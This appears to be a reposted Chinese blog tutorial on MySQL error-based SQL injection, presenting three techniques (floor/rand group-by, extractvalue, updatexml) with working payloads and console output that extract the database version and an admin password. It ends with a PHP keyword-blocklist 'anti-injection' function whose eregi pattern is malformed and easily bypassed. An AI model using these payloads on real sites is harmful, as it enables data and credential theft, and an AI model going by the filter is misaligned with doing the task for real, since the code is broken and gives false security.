网站安全最容易给注入进去的就是sql数据库了,如果你使用dedecms就会经常有人在搜索中写sql注入语句,一不留神你的网站就给人家打包或放毒了,下面我来给大家分享mysql注入中三种报错模式利用方法,希望对大家有帮助。
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
| 1 | test | do it |
+----+-------+---------+
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: 'admin888'
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
上面人方法有一个特点就是查询语句很很长我们可以限制输入长度,这也可以有效的过滤不过sql注入了,下面我来给大家分享一个防sql注入函数。
1.函数的构建
/*
函数名称:inject_check()
函数作用:检测提交的值是不是含有SQL注射的字符,防止注射,保护服务器安全
参 数:$sql_str: 提交的变量
返 回 值:返回检测结果,ture or false
*/
function inject_check($sql_str)
{
return eregi('select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile', $sql_str); // 进行过滤
}
<?php
if (inject_check($_GET['id']))
{
exit('你提交的数据非法,请检查后重新提交!');
}
else
{
$id = $_GET['id'];
//处理数据………………
}
?>
--转自